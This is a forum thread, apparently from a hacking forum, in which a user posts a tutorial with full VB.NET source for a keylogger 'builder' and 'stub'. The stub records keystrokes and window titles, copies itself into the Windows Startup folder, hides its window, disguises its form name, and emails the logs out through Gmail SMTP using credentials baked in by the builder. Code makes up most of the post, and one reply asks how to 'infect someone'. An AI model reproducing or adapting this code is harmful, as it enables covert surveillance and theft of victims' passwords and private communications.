[newbie223]

Hey guys i had alot of spare time so i taught ill might make a TUT :D

Builder
this is the easiest part of a keylogger yet many of us (including me :D)couldn't bother to learn b4 learning to make the keylogger.
Now lets make your Builder nice Insert 4 Label doesn't matter the label goes just make nice and neat.Add 3 textbox(textbox1=gmail username)(textbox2=Gmail password)(textbox3=time interval).add 2 button(button1=Build)(button2=test gmail)
example builder picture
Spoiler (Click to View)[img]http://photos-a.ak.fbcdn.net/hphotos-ak-snc1/hs245.snc1/9228_104189779593298_100000068281213_113092_1426_n.jpg[/img]
ok now the codes

Code

Imports System.Net.Mail
Imports System.IO
Public Class Form1
    Dim stub, text1, text2, text3 As String
    Const FileSplit = "@newbie@"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        For Fadein = 0.0 To 1.1 Step 0.1
            Me.Opacity = Fadein
            Me.Refresh()
            Threading.Thread.Sleep(100)
        Next
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
        text3 = TextBox3.Text
        ProgressBar1.Value = 10
        FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        stub = Space(LOF(1))
        ProgressBar1.Value = 40
        FileGet(1, stub)
        FileClose(1)
        ProgressBar1.Value = 80
        ProgressBar1.Value = 100
        MsgBox("Server created :D")
        If File.Exists("newbie.exe") Then
            My.Computer.FileSystem.DeleteFile("newbie.exe")
        End If
        FileOpen(1, Application.StartupPath & ("newbie.exe"), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
        FileClose(1)
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage
        ProgressBar1.Value = 10
        smtpServer.Credentials = New Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
        'using gmail
        ProgressBar1.Value = 20
        smtpServer.Port = 587
        smtpServer.Host = "smtp.gmail.com"
        ProgressBar1.Value = 35
        smtpServer.EnableSsl = True
        mail = New MailMessage
        ProgressBar1.Value = 50
        mail.From = New MailAddress(TextBox1.Text)
        mail.To.Add(TextBox1.Text)
        ProgressBar1.Value = 70
        mail.Subject = (TextBox1.Text)
        mail.Body = ("Testing Gmail was Successful.Build your keylogger now!")
        ProgressBar1.Value = 90
        smtpServer.Send(mail)
        ProgressBar1.Value = 100
        MsgBox("Message has been sent. Check your Gmail")

    End Sub

    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged

    End Sub
End Class

after that save all and build your builder

simple enoughi would suggest u try understand codes :D easier to learn

ok now stub
stub basically is un finish keylogger just nid a little info here and there and its a complete keylogger:D
ok open a new project name it stub
now deco 1st :D
things to add:-
textbox1= where the logs will be kept enable=false add a scrolbar :D
textbox2= gmail username
textbox3=gmail password
textbox4=time interval
timer1=start take logs
timer2=send email logs
timer3=clear texbox1
timer4=run program hiddenly
heres what ive done
Spoiler (Click to View)[img]http://photos-g.ak.fbcdn.net/hphotos-ak-snc1/hs245.snc1/9228_104189782926631_100000068281213_113093_7842447_n.jpg[/img]

you can do exactly the same no problem :D
heres the code

Code

Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim caps As Boolean
    Dim shift As Boolean
    Dim result As Integer
    Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Dim options(), text1, text2, text3 As String
    Dim activewindow As String
    Const FileSplit = "@newbie@"
    Dim newbie As String = IO.Path.GetFileName(Application.ExecutablePath)
    Dim vDirectory As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
        text1 = Space(LOF(1))
        text2 = Space(LOF(1))
        text3 = Space(LOF(1))
        FileGet(1, text1)
        FileGet(1, text2)
        FileGet(1, text3)
        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox2.Text = options(1)
        TextBox3.Text = options(2)
        textbox4.text = options(3)
        Try
            vDirectory = "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
            Dim zDir As New DirectoryInfo(vDirectory)
            If Not zDir.Exists Then
                My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" & newbie, True)
            Else
                My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\" & newbie, True)
            End If
        Catch ex As Exception
        End Try
        Timer2.Interval = (textbox4.text * 60 * 1000)
        Timer3.Interval = (textbox4.text * 60 * 1000 + 500)
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
        Timer4.Start()
    End Sub
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        shift = GetAsyncKeyState(16)
        caps = GetKeyState(20)
        Dim i As Integer
        For i = 65 To 90
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If caps = True Then
                    If shift = True Then
                        TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                    Else
                        TextBox1.Text = TextBox1.Text + Chr(i)
                    End If
                Else
                    If shift = False Then
                        TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                    Else
                        TextBox1.Text = TextBox1.Text + Chr(i)
                    End If
                End If
                result = 0
            End If
        Next i
        If GetAsyncKeyState(32) = -32767 Then
            TextBox1.Text = TextBox1.Text + " "
        End If
        If GetAsyncKeyState(8) = -32767 Then
            TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
        End If
        If GetAsyncKeyState(9) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[TAB]"
        End If
        If GetAsyncKeyState(13) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[ENTER]" + vbNewLine
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
            End If
        End If
        If GetAsyncKeyState(17) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[CTRL]"
        End If
        If GetAsyncKeyState(27) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[ESC]"
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
            End If
        End If
        If GetAsyncKeyState(35) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[END KEY]"
        End If
        If GetAsyncKeyState(36) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[HOME]"
            activewindow = GetActiveWindowTitle()
            TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
        End If
        If GetAsyncKeyState(46) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[DEL]"
        End If
        If GetAsyncKeyState(37) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[LeftButton]"
        End If
        If GetAsyncKeyState(38) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[UpButton]"
        End If
        If GetAsyncKeyState(39) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[RightButton]"
        End If
        If GetAsyncKeyState(40) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[DownButton]"
        End If
        If GetAsyncKeyState(1) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[LeftClick]"
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "=============" & activewindow & "=============" + vbNewLine + vbNewLine
            End If
        End If
        If GetAsyncKeyState(2) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[RightClick]"
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + vbNewLine + "=============" & activewindow & "=============" + vbNewLine + vbNewLine
            End If
        End If
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Dim MyMailMessage As New MailMessage
        MyMailMessage.From = New MailAddress(TextBox2.Text)
        MyMailMessage.To.Add(TextBox2.Text)
        MyMailMessage.Subject = ("Newbie Logz")
        MyMailMessage.Body = (textbox1.Text)
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
    End Sub
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        TextBox1.Clear()
    End Sub

    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        Me.Hide()
        Me.Opacity = 0
        Me.Visible = False
    End Sub
End Class

noticed that i have gave some hooked keys not all just some:D
ok now go to your timer1 set the interval to 5 this should ensure smooth logs
now all is left to do is save all and build(make sure name is stub)
and timer4=500(interval)
change the form name to "Windows Run .dll"

TQ for reading my first TUT any problems just gimme a hola
if you create a keylogger try add e in credits :D
Take Note: im not so sure about the attach to startup code if you found better one just post it here and ill reupdate it

TuT Video link
Spoiler (Click to View)TuT video by me

...TQ...
if you want a video TUT just tell me ill make it in a jiff

[Saki~chan]

im confused, and yea would you make a video on this...it might help clear things up

What is a hooked key look like?

[newbie223]

kk i will making it now

---

hook key is what u see like example [f1] is pressed den [f1] will come out its like that

[newbie223]

ok video done :D
SHORTTTTTTTTTTTTTTT MSG

[newbie223]

BumP BumP BumP BumP BumP BumP BumP

[numan007]

hmmm where is the video. A littel problem is there in the coding

[adz784]

Sounds good, Ill try this out later.

Thanks.

[newbie223]

Only prob in code would be attach to startup try find in google or from other HF member that code will work well on XP but vista nid find differ code

[xBKx]

WHen It says server created, wich server is created? And if i want to infect someone, do they have to go to the server or get the keylogger?! Confused :D

[djdandew]

You should also post this in the vb net section here
https://hackforums.net/forumdisplay.php?fid=118
i am new to vb net so may come in usefull, thanks

[Gaming_master]

I so confused,can somebody descibe how it`s really working?

[CyberHR]

Ok tut by already posted.... https://hackforums.net/showthread.php?ti...&highlight=

[newbie223]

CyberHR dis keylogger have hooked keys and smooth logs

[iDarky]

This is not his TUT, so he cant clear things up :P

[Outline]

You could have made the builder a hell of a lot simpler, and also you could just use a messagebox to confirm correct GMail..